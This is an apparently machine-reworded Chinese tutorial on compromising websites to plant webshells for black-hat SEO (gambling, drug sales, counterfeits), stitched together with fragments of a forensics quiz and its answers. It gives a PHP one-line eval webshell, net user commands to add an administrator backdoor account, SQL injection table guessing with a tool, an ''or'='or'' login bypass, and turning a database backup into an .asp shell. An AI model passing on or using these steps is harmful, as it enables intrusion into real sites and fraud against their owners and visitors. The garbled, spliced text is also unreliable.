Webshell是web入侵的脚本攻击工具，大略的说来，webshell便是一个asp或php木马后门，黑客在入侵了一个网站后，常常在将这些 asp或php木马后门文件放置在网站做事器的web目录中，与正常的网页文件混在一起。
首先我们要确定我们要检测的网站，可以是自己定下的某个网站，也可以是自己通过Google或者Baidu搜索得到的，碰着ASP这样的动态网站入侵成功率是最佳的。不详细说了，这一步便是选定目标网站。
WebShell 在SEO中有哪些黑产用场？
海内黑产常见的菠菜，色诱，小说，棋盘，减肥单页暴利产品，仿品，游戏等
国外黑产谷歌澳门博彩，大人流量卖药，外贸仿牌 等黑产高暴利产品 都可以通过webshell 引流量等SEO引流 ，坐等收益！
请点击此处输入图片描述
不是很会黑客技能怎么办？
并非每个人都要去学习黑客技能，每个人的精力有限，什么都要手工做，那不是很累？ 根本不可能的事，黑客大牛就那么几个，对我们来讲，并不想知道过程是什么样的，就想要结果！
当碰着这种难题时，就某黑客论坛（中国黑客协会）就分享一种可以叫GETSHELL。什么是GETSHELL ，大略意思是通过某指令可以批量实现拿Webshell权限 。当然你乐意学 推举入门到精通书本《网络黑白》某宝有售。
通过几次成功的拿Webshell，创造自己有时也走了一些弯路，为了避免其他的朋友再在困惑中迷失落方向，现在我将自己的一些履历写出来，希望对一些想学拿Webshell的朋友有一定的帮助。 书里都有履历分享。
在这里我们可以利用工具预测数据库的内容(也可以手工预测，但是太繁琐了)，这里我们就利用明小子工具里的“SQL注入猜解”。填上我们刚才手工检测到的注入点，点击检测后程序开始检测是否存在注入点，开始我们已经手工检测过了，以是肯定是存在的了。
木立时传
之前看到黑客dir列出了C:\WWW目录下的文件，以是判断他要对此文件夹进行操作。连续向下查看，就看到他用vi写入了一个php木马文件
请点击此处输入图片描述
写入的内容是一个一句话木马，保存为了muma.php
<?php @eval($_POST[xsmuma]) ?>
提权
在上传了一句话木马后，就可以用菜刀连接了，并且可以在菜刀的虚拟终端进行提权操作。
（常日连接菜刀提权没有这么直接，这里的题目只是大略示范。详细：木马文件上传防御策略及几种绕过检测办法 - 知乎专栏/Windows做事器提权和开启3389远程连接 - 知乎专栏）
添加用户命令
net user [username] [password] /add
提升为系统权限
net localgroup Administrators [username] /add
连续查看数据流创造黑客实行了
net user 55555 44444 /add
请点击此处输入图片描述
以是这里添加的用户名是55555，密码是44444
telnet这东西直接关掉就好了。ssh、ftp、3389这些如果一定要用，最好的戒备方法便是强口令，再把大量缺点访问数据的可疑ip短韶光封掉。l
第13题：后来黑客又考试测验其他暴力破解其他端口，叨教黑客有针对哪个端口进行了暴力破解
23
第14题：通过剖析，创造黑客又在考试测验暴力破解Telnet，并且成功破解，获取到的用户名与密码是什么？（格式：账号/密码）
administrator/xxb
第15题：成功登入后，黑客在WWW眼前添加一个文件，文件名是什么？
muma.php
第16题：通过详细剖析，黑客还添加一个别系用户，该用户的账号密码是多少?（格式：账号/密码）
55555/44444
然后就可以点击“猜解表名”，将数据库的表名给猜出
来，有了程序，我们进行这些操作将会很大略;很快就会猜出所有的表名，接着选定我们要猜解的表名，用程序猜解该表名的列名，接着就可以再猜解记录的内容。一样平常戒备方法不当的网站就会被猜出用户名密码;
接着我们用程序自带的功能猜解后台地址，猜到之后，用得到的用户名密码进行上岸;一样平常戒备方法差的网站乃至可以直接用万能的用户名密码’or’=’or’进行上岸。
上岸成功之后，我们进入后台，进入后台才是统统入侵的基本条件。正式开始我们的入侵。 首先看下有没有数据库备份的功能，如果有，我们来看看怎么得到Webshell。
用一句话木马。通过各种方法，把这句话写入到数据库，再把写入这句话的数据库通过备份变成后缀为.asp的文件，当然要把稳备份后的文件地址，然后进行访问，如果显示的是乱码，那么就恭喜你了，基本上就成功了!在再本地用一个一句话木马的客户端进行连接，就连接涌现乱码的那个页面地址，连成功之后，你就可以瞥见熟习的WebShell了!
这个是非常大略的小白入门教程了。
